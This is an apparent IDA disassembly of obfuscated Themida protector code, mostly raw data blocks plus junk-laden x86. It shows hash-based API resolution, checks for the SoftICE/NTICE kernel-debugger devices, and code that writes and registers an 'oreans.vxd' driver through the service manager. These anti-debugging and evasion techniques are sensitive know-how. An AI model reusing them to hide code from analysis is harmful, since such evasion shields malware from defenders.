		dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h,	8589C306h
		dd 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h, 1685006h
		dd 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h,	46A5006h
		dd 858D006Ah, 615A472h,	9CB5FF50h, 0FF0615A4h, 131D4595h
		dd 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h,	0FF0615A4h
		dd 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h
		dd 15A40685h, 1685006h,	0FF800000h, 15A4AC95h, 8D046A06h
		dd 15A4A085h, 46A5006h,	858D006Ah, 615A422h, 9CB5FF50h
		dd 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h
		dd 9CB5FF06h, 0FF0615A4h, 1331CD95h, 0BD83C306h, 613206Dh
		dd 0B840F00h, 8B000000h, 13206D9Dh, 4CC38306h, 83C30389h
		dd 13206DBDh, 840F0006h, 0Bh, 206D9D8Bh, 0C3830613h, 0C3038950h
		dd 206DBD83h, 0F000613h, 0B84h,	6D9D8B00h, 83061320h, 38954C3h
		dd 6DBD83C3h, 61320h, 0B840Fh, 9D8B0000h, 613206Dh, 8958C383h
		dd 0BD83C303h, 613206Dh, 0B840F00h, 8B000000h, 13206D9Dh
		dd 5CC38306h, 0C3C30389h, 0A0858960h, 8D0615A4h, 15A49C85h
		dd 858D5006h, 615A406h,	16850h,	95FF8000h, 615A4ACh, 858D046Ah
		dd 615A4A0h, 6A046A50h,	97858D00h, 500615A4h, 0A49CB5FFh
		dd 95FF0615h, 6131D45h,	1625BD83h, 0F000613h, 0C84h, 9CB5FF00h
		dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
		dd 60C36106h, 0A4A08589h, 858D0615h, 615A49Ch, 6858D50h
		dd 500615A4h, 168h, 0AC95FF80h,	6A0615A4h, 0A0858D04h
		dd 500615A4h, 6A046Ah, 0A479858Dh, 0FF500615h, 15A49CB5h
		dd 4595FF06h, 8306131Dh, 131625BDh, 840F0006h, 0Ch, 0A49CB5FFh
		dd 95FF0615h, 615A4A8h,	0A49CB5FFh, 95FF0615h, 61331CDh
		dd 8960C361h, 15A4A085h, 9C858D06h, 500615A4h, 0A406858Dh
		dd 68500615h, 80000001h, 0A4AC95FFh, 46A0615h, 0A4A0858Dh
		dd 6A500615h, 8D006A04h, 15A48085h, 0B5FF5006h,	615A49Ch
		dd 1D4595FFh, 0BD830613h, 6131625h, 0C840F00h, 0FF000000h
		dd 15A49CB5h, 0A895FF06h, 0FF0615A4h, 15A49CB5h, 0CD95FF06h
		dd 61061331h, 858960C3h, 615A4A0h, 0A49C858Dh, 8D500615h
		dd 15A40685h, 1685006h,	0FF800000h, 15A4AC95h, 8D046A06h
		dd 15A4A085h, 46A5006h,	858D006Ah, 615A488h, 9CB5FF50h
		dd 0FF0615A4h, 131D4595h, 25BD8306h, 61316h, 0C840Fh, 0B5FF0000h
		dd 615A49Ch, 0A4A895FFh, 0B5FF0615h, 615A49Ch, 31CD95FFh
		dd 0C3610613h, 0A0858960h, 8D0615A4h, 15A49C85h, 858D5006h
		dd 615A406h, 16850h, 95FF8000h,	615A4ACh, 858D046Ah, 615A4A0h
		dd 6A046A50h, 8F858D00h, 500615A4h, 0A49CB5FFh,	95FF0615h
		dd 6131D45h, 1625BD83h,	0F000613h, 0C84h, 9CB5FF00h, 0FF0615A4h
		dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h,	60C36106h
		dd 0A4A085C7h, 10615h, 858D0000h, 615A49Ch, 6858D50h, 500615A4h
		dd 268h, 0AC95FF80h, 0B0615A4h,	0F840FC0h, 0C7000000h
		dd 15A4A085h, 6, 4DE900h, 46A0000h, 0A4A0858Dh,	6A500615h
		dd 8D006A04h, 15A41A85h, 0B5FF5006h, 615A49Ch, 1D4595FFh
		dd 0C00B0613h, 0F840Fh,	85C70000h, 615A4A0h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5A6C33
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+615A4A0h], 1


loc_5A6C33:				; CODE XREF: Themida_:005A6C24j
		push	dword ptr [ebp+615A49Ch]
		call	dword ptr [ebp+61331CDh]
		popa
		mov	eax, [ebp+615A4A0h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+615A4A0h],	eax
		lea	eax, [ebp+615A49Ch]
		push	eax
		lea	eax, [ebp+615A406h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+615A4ACh]
		push	4
		lea	eax, [ebp+615A4A0h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+615A41Ah]
		push	eax
		push	dword ptr [ebp+615A49Ch]
		call	dword ptr [ebp+6131D45h]
		cmp	dword ptr [ebp+6131625h], 0
		jz	loc_5A6CA0
		push	dword ptr [ebp+615A49Ch]
		call	dword ptr [ebp+615A4A8h]


loc_5A6CA0:				; CODE XREF: Themida_:005A6C8Ej
		push	dword ptr [ebp+615A49Ch]
		call	dword ptr [ebp+61331CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+615A4A0h],	eax
		lea	eax, [ebp+615A49Ch]
		push	eax
		lea	eax, [ebp+615A406h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+615A4ACh]
		push	4
		lea	eax, [ebp+615A4A0h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+615A42Ch]
		push	eax
		push	dword ptr [ebp+615A49Ch]
		call	dword ptr [ebp+6131D45h]
		cmp	dword ptr [ebp+6131625h], 0
		jz	loc_5A6D07
		push	dword ptr [ebp+615A49Ch]
		call	dword ptr [ebp+615A4A8h]


loc_5A6D07:				; CODE XREF: Themida_:005A6CF5j
		push	dword ptr [ebp+615A49Ch]
		call	dword ptr [ebp+61331CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61311E1h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+61307C9h]
		call	dword ptr [ebp+6133235h]
		mov	[ebp+615A4ACh],	eax
		mov	byte ptr [ebp+61311E1h], 52h
		push	902E00E5h
		push	dword ptr [ebp+61307C9h]
		call	dword ptr [ebp+6133235h]
		mov	[ebp+615A4A8h],	eax
		mov	byte ptr [ebp+61311E1h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+61307C9h]
		call	dword ptr [ebp+6133235h]
		mov	[ebp+6131D45h],	eax
		mov	byte ptr [ebp+61311E1h], 52h
		push	98781034h
		push	dword ptr [ebp+61307C9h]
		call	dword ptr [ebp+6133235h]
		mov	[ebp+61331CDh],	eax
		mov	byte ptr [ebp+61311E1h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+61307C9h]
		call	dword ptr [ebp+6133235h]
		mov	[ebp+6131191h],	eax
		jmp	short loc_5A6DCB
; ---------------------------------------------------------------------------
		db 2 dup(5Ch), 2Eh
		dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h
		dd 49544E5Ch
		db 43h,	45h, 0
; ---------------------------------------------------------------------------


loc_5A6DCB:				; CODE XREF: Themida_:005A6DABj
		mov	eax, eax
		push	esi
		and	dx, 517Ah
		pop	ecx
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_5A6DE6
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5A6DFF


loc_5A6DE6:				; CODE XREF: Themida_:005A6DDBj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A97Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A6DFF:				; CODE XREF: Themida_:005A6DE4j
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5A6E1F
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A66Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A6E1F:				; CODE XREF: Themida_:005A6E06j
		mov	esi, [ebp+6130619h]
		call	near ptr loc_5A6E34+5
		push	ecx
		rcr	dword ptr [edx+50h], cl
		jge	short near ptr loc_5A6E91+1
		xlat
		add	esi, [eax-8]


loc_5A6E34:				; CODE XREF: Themida_:005A6E25p
		repne sub eax, 0B5F08FFDh
		pop	ebp
		pop	esi
		mov	edi, [ebp+613147Dh]
		mov	eax, eax
		mov	ecx, edx
		mov	byte ptr [ebp+61311E1h], 43h
		adc	di, 4F84h
		call	sub_5A6E5B
		cld
		outsb
; ---------------------------------------------------------------------------
		db 8Eh,	0BCh

; =============== S U B	R O U T	I N E =======================================



sub_5A6E5B	proc near		; CODE XREF: Themida_:005A6E52p

arg_0		= dword	ptr  4

		mov	si, bx
		push	eax
		jle	loc_5A6E67
		mov	edx, ecx


loc_5A6E67:				; CODE XREF: sub_5A6E5B+4j
		mov	eax, [esp+4]
		mov	eax, [eax]
		call	loc_5A6E77
; ---------------------------------------------------------------------------
		dw 0AEDBh
		db 40h,	0C8h, 0F1h
; ---------------------------------------------------------------------------


loc_5A6E77:				; CODE XREF: sub_5A6E5B+12j
		push	ecx
		pop	edx
		pop	edx
		mov	[esp+arg_0], eax
		mov	edi, esi
		pop	eax
		push	0
		push	edx
		call	sub_5A6E8C
		and	[edx-3Dh], bl
sub_5A6E5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A6E8C	proc near		; CODE XREF: sub_5A6E5B+29p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx


loc_5A6E91:				; CODE XREF: Themida_:005A6E2Ej
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5A6E8C	endp

; ---------------------------------------------------------------------------
		dd 29A8946Dh, 428C2A12h, 0FF3AB6DDh, 13116DB5h,	7DBD0306h
		dd 8D061317h, 133AAD85h, 6E806h, 0BB590000h, 0C25BF3E5h
		dd 0AE8h, 750B8D00h, 821620A8h,	8B011776h, 131C11B5h, 0FF5A5906h
		dd 52006AD0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BE90451h, 6D000000h, 0DC73E612h, 0A0C7A35Ah
		dd 8B665A01h, 0BFBF50CFh, 89573EDDh, 0BD092404h, 6132071h
		dd 8529006Ah, 61321EDh,	0C21F7768h, 68D0FD1h, 0F000000h
		dd 8Ch,	24048100h, 2E3DE109h, 306D9D89h, 36A0613h, 68B0Fh
		dd 8D8B0000h, 61320CDh,	1E719D89h, 6A0613h, 118DBD33h
		dd 10E90613h, 5E000000h, 55E2F277h, 0E260A34Dh,	5FF62C2Bh
		dd 6A3A4924h, 6E803h, 47D40000h, 468172ADh, 3499BD09h
		dd 685A0613h, 0AFBA6238h, 38E0F51h, 66000000h, 8159C88Bh
		dd 62382434h, 0BF0F6FBAh, 0E39D8DFAh, 660615AAh, 0E09DE981h
		dd 4890F50h, 66000000h,	890781BFh, 8166241Ch, 0FFD292C1h
		dd 2B14BED0h, 0F404028h, 2BC85h, 19B58B00h, 58061331h
		dd 96077B2h, 130A4195h,	0AE906h, 40760000h, 0C2A1AA40h
		dd 0C15CDA2Eh, 810F5061h, 0Ch, 52505250h, 2 dup(585A310Fh)
		dd 89240489h, 132369BDh, 29006A06h, 131B519Dh, 0E1136806h
		dd 7E950FEh, 3B000000h,	15AA6C17h, 34812A5Ch, 0FEE19324h
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 8B66F660h, 29036AF9h, 13133195h,	6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 1DA3C355h, 95D7B4BEh, 6A321588h, 0B5BD8B03h
		dd 68061305h, 72DEB3EBh, 0AE8h,	51887100h, 99D13EF1h, 600482CCh
		dd 7E8h, 5E826E00h, 1E57128h, 3ABB665Bh, 815E616Eh, 4C152404h
		dd 8D8B4D21h, 6131D21h,	9D8DA9B6h, 615AAECh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 48C35141h, 8B17CF4Bh
		dd 0EE8D3h, 0E90C0000h,	75A810F0h, 0A4A5EA37h, 3BA9904Eh
		dd 13E9h, 3D36E000h, 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh
		dd 9ADFC48h, 0E950935Ah, 0Dh, 0A1C429D2h, 0E11D4C94h, 0ADFB3214h
		dd 0B966935Eh, 0D0FF3E23h, 132D9D89h, 33600613h, 1330FDBDh
		dd 0EE816006h, 399614A6h, 2EBD9589h, 61610613h,	42850F40h
		dd 8B000001h, 1300C58Dh, 0D1BA5806h, 502809CBh,	0DE850h
		dd 39AA0000h, 0B9E47D0Ah, 7A8B22Dh, 66F0F4D8h, 5F59CF8Bh
		dd 6A240489h, 68F0F00h,	9000000h, 13129DBDh, 61716806h
		dd 62B584B3h, 0F240481h, 667B4C9Fh, 0F78BD38Bh,	6A036Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 5AFD06C3h, 0A568B15Ah, 6A39DDBAh, 0AE900h, 0B2320000h
		dd 0CCB86B47h, 8FF90F93h, 1AE78166h, 0BE036ABFh, 2C049053h
		dd 63801368h, 28B0F42h,	8A000000h, 240481D7h, 7D9C7FEDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 5BC35141h
		dd 8D9EF48Eh, 15AAF79Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 7987210Bh, 0E8C18160h
		dd 603AD378h, 958BE28Ah, 61334E9h, 8A506161h, 241C89F7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h
		dd 80C1CC46h, 969FA94Ch, 0FB8B6645h, 0FFF0BF0Fh, 699D01D0h
		dd 40061330h, 0B850Fh, 81660000h, 58DC0DDEh, 1A2E9h, 6AD88B00h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 6370C356h, 0CA804F7Ch, 68F0FD4h, 8B000000h
		dd 132FED95h, 0EE94B06h, 0A8000000h, 87324864h,	0CDBCEF0h
		dd 0C3813913h, 6A5880h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0BEB1F8C3h, 0C6B5B1E0h, 1311E185h
		dd 950B4306h, 6131729h,	4E8h, 764AA700h, 50F8B5C0h, 0F98B5250h
		dd 5250310Fh, 310FD38Bh, 5AF88B66h, 8B585A58h, 50042444h
		dd 5E505152h, 5A310F5Fh, 0E9008B58h, 7,	27121401h, 89289577h
		dd 0E8042444h, 10h, 0E1D0856Dh,	0F835DAD1h, 0B08134C1h
		dd 27DAFBD1h, 0CDBF585Ah, 0FF185E3Fh, 13116DB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8D29604Ch, 6130BADh,	6860Fh,	880F0000h, 0
		dd 0AD858D61h, 0F806133Ah, 5693D0FFh, 0DC93D6B9h, 66505A41h
		dd 0FC93CE8Bh, 10E8h, 0F8BCF600h, 0CC76F1Eh, 4D2748DFh
		dd 0CFDD88EDh, 5AF98BE9h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0BF48C7C3h, 0F5C531E0h
		dd 0E9687013h, 5, 1F8F5A8h, 168D0F42h, 0E9000000h, 11h
		dd 96191DB4h, 0A10E20Fh, 9DEADF9Eh, 0ED667270h,	339D8D33h
		dd 60061375h, 0B7DE8166h, 1D9D092Fh, 6106130Bh,	1B8h, 39BD8900h
		dd 0FF061301h, 8BFA8BE3h, 0C08BFCC1h, 2A3DB58Bh, 53600613h
		dd 1ED18D29h, 8B590613h, 132149BDh, 0BD836106h,	6131625h
		dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h,	40FB8h
		dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
		dd 6132Ch, 53501774h, 40FB8h, 15858900h, 8D061331h, 15A6859Dh
		dd 5BD3FF06h, 0A9852958h, 8B061321h, 9E8C0h, 8A9D0000h
		dd 35C57108h, 8B5101D9h, 13124185h, 0BD8B5E06h,	6130959h
		dd 59D3C681h, 8C0F0000h, 6, 283DBD8Bh, 39680613h, 0E9000016h
		dd 0Ah,	61B3D25Ah, 0A3752C80h, 665B2388h, 0FF7C62BAh, 7FBF6636h
		dd 9D895917h, 6130A51h,	0E8ECF181h, 0BD8B1E42h,	6130579h
		dd 2B56E981h, 0E8602960h, 9, 82F747CEh,	30731A4Dh, 5E9E1h
		dd 0B8F40000h, 5BBA858Fh, 0BE9h, 0BCBFB400h, 6E3DFF93h
		dd 0A4A0849Bh, 5DC18161h, 5627E926h, 0B382DF81h, 895F2CABh
		dd 0C6BF0F0Eh, 0EBFFEE81h, 9D29458Dh, 6130CFDh,	0EBFBC681h
		dd 9D89458Dh, 6131E9Dh,	1EB81h,	850F0000h, 19h,	1A35B589h
		dd 26E90613h, 85000000h, 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h
		dd 3D958BD3h, 0E906130Ch, 0FFFFFF5Bh, 7E5FF0FEh, 0FF01BFAFh
		dd 3141FE5Bh, 99E974h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 15B34CBDh
		dd 840F0006h, 0Ah, 2C8185C7h, 10613h, 85C60000h, 61311E1h
		dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
		dd 0B5FF5804h, 613116Dh, 3AAD858Dh, 0D0FF0613h,	0F88BD0FFh
		dd 0F223F80h, 2285h, 22B04700h,	0F9850FAEh, 80FFFFFFh
		dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h
		dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h
		dd 0FFFFE2E9h, 3F80FFh,	5850Fh,	0E0E90000h, 0E9000002h
		dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh,	5850F00h, 0E9000000h
		dd 2C3h, 0AE8h,	0FFCBE900h, 0B4E9FFFFh,	8D000002h, 15B2CCB5h
		dd 225E806h, 0BD030000h, 615B361h, 0B361BD83h, 0F000615h
		dd 0B84h, 2585C700h, 1061316h, 0C3000000h, 0B2D7B58Dh
		dd 0FCE80615h, 3000001h, 15B361BDh, 61BD8306h, 615B3h
		dd 0B840Fh, 85C70000h, 6132C81h, 1, 50B58DC3h, 0E80615B3h
		dd 1D3h, 0B361BD03h, 0BD830615h, 615B361h, 0B840F00h, 0C7000000h
		dd 130EFD85h, 106h, 0B58DC300h,	615B2E1h, 1AAE8h, 61BD0300h
		dd 830615B3h, 15B361BDh, 840F0006h, 0Bh, 2C8185C7h, 10613h
		dd 8DC30000h, 15B2EBB5h, 181E806h, 0BD030000h, 615B361h
		dd 0B361BD83h, 0F000615h, 1584h, 8185C700h, 106132Ch, 0C7000000h
		dd 13162585h, 106h, 0B58DC300h,	615B2F9h, 14EE8h, 61BD0300h
		dd 830615B3h, 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h
		dd 0B58D0000h, 615B303h, 126E8h, 61BD0300h, 830615B3h
		dd 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h, 0B58D0000h
		dd 615B30Eh, 0FEE8h, 61BD0300h,	830615B3h, 15B361BDh, 840F0006h
		dd 0Ah,	8A585C7h, 10613h, 0B58D0000h, 615B314h,	0D6E8h
		dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 23C585C7h
		dd 10613h, 0B58D0000h, 615B31Ah, 0AEE8h, 61BD0300h, 830615B3h
		dd 15B361BDh, 840F0006h, 0Ah, 34C985C7h, 10613h, 0B58D0000h
		dd 615B328h, 86E8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h
		dd 0Ah,	0F6585C7h, 10613h, 0B58D0000h, 615B335h, 5EE8h
		dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 34E585C7h
		dd 10613h, 0B58D0000h, 615B340h, 36E8h,	61BD0300h, 830615B3h
		dd 15B361BDh, 840F0006h, 0Ah, 195D85C7h, 10613h, 1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD385h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0B361B589h, 0AE90615h, 0C7000000h
		dd 15B36185h, 6, 0B8C36100h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	loc_5A79C2
		mov	dword ptr [ebp+6132345h], 0


loc_5A79C2:				; CODE XREF: Themida_:005A79B2j
		mov	ecx, eax
		jmp	loc_5A7BD7
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A7BD7:				; CODE XREF: Themida_:005A79C4j
		jmp	loc_5A7CCB
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61311E1h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		push	104h
		lea	ebx, [ebp+613178Dh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+615B8F7h]
		mov	edi, esi
		xor	al, al


loc_5A7C0F:				; CODE XREF: Themida_:005A7C10j
		scasb
		jnz	loc_5A7C0F
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+61311E1h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		lea	esi, [ebp+613178Dh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+61311E1h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		lea	edi, [ebp+6132B8Dh]
		lea	ecx, [ebp+615BA1Dh]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5A7CAD
		lea	esi, [ebp+615B6FFh]
		lea	eax, [ebp+615A34Dh]
		call	eax
		lea	ecx, [ebp+6137533h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5A7CAD:				; CODE XREF: Themida_:005A7C8Cj
		mov	byte ptr [ebp+61311E1h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5A7CCB:				; CODE XREF: Themida_:loc_5A7BD7j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5A7CE2
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5A7CE2:				; CODE XREF: Themida_:005A7CDBj
		jmp	loc_5AB4B7
; ---------------------------------------------------------------------------
		db 4Dh
		dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 5 dup(0)
		db 2 dup(0)
word_5AB46E	dw 0			; CODE XREF: Themida_:005AB4C1j
		dd 3 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_5AB48C
		xor	eax, eax
		jmp	short locret_5AB4A6
; ---------------------------------------------------------------------------


loc_5AB48C:				; CODE XREF: Themida_:005AB486j
		cmp	dword ptr [esi+0Ch], 1
		jnz	short locret_5AB4A6
		lea	eax, large ds:0
		mov	edi, [esi+18h]
		mov	[edi], eax
		mov	dword ptr [esi+20h], 4
		xor	eax, eax

locret_5AB4A6:				; CODE XREF: Themida_:005AB48Aj
					; Themida_:005AB490j
		retn
; ---------------------------------------------------------------------------
		db 0Ch
aXprotvxd_ddb	db 'XPROTVXD_DDB',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AB4B7:				; CODE XREF: Themida_:loc_5A7CE2j
		call	sub_5AB4CD
		mov	ecx, 4A3E2865h
		jz	short near ptr word_5AB46E
		pop	esp
		pusha
		and	eax, 62EF1CF0h
		loope	near ptr loc_5AB53D+2
		inc	ecx

; =============== S U B	R O U T	I N E =======================================



sub_5AB4CD	proc near		; CODE XREF: Themida_:loc_5AB4B7p
		stc
		pop	eax
		jl	loc_5AB4E1
		jnb	loc_5AB4E1
		mov	edi, [ebp+6130061h]


loc_5AB4E1:				; CODE XREF: sub_5AB4CD+2j
					; sub_5AB4CD+8j
		add	eax, 62EEh
		mov	bl, 0D2h
		xor	ecx, ecx
		pusha
		mov	cl, 0DBh
		jl	loc_5AB4FA
		mov	ecx, [ebp+6130595h]


loc_5AB4FA:				; CODE XREF: sub_5AB4CD+21j
		popa


loc_5AB4FB:				; CODE XREF: sub_5AB4CD+A5j
		mov	esi, [eax+ecx]
		mov	di, 49EBh
		add	esi, 2B14EC77h
		adc	di, 3725h
		sub	esi, 242DE4DAh
		mov	[ebp+61323FDh],	esi
		sub	esi, 54161C9Bh
		mov	[ebp+61312BDh],	ebx
		mov	[eax+ecx], esi
		jmp	loc_5AB537
; ---------------------------------------------------------------------------
		db 7Ch,	89h, 0BBh
		dd 9E6FFF35h
		db 0EAh, 0D6h, 0C2h
; ---------------------------------------------------------------------------


loc_5AB537:				; CODE XREF: sub_5AB4CD+5Bj
		add	[ebp+6132A5Dh],	eax


loc_5AB53D:				; CODE XREF: Themida_:005AB4CAj
		sub	ecx, 4
		sub	[ebp+61318D5h],	edi
		cmp	ecx, 0FFFF9DDCh
		jnz	loc_5AB570
		mov	[ebp+6132D01h],	edi
		jmp	loc_5AB58A
; ---------------------------------------------------------------------------
		db 86h,	5Ch, 0CDh
		dd 290DBA75h, 3BA72F4Dh, 9D4D570Ah, 9ED98809h
; ---------------------------------------------------------------------------


loc_5AB570:				; CODE XREF: sub_5AB4CD+7Fj
		mov	bl, 0E7h
		jmp	loc_5AB4FB
; ---------------------------------------------------------------------------
		db 97h
		dd 0C51B13C6h, 920EAF07h, 0BE05B278h, 0D1544DECh
		db 0D7h, 0E8h
; ---------------------------------------------------------------------------


loc_5AB58A:				; CODE XREF: sub_5AB4CD+8Bj
		jmp	loc_5AC646
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
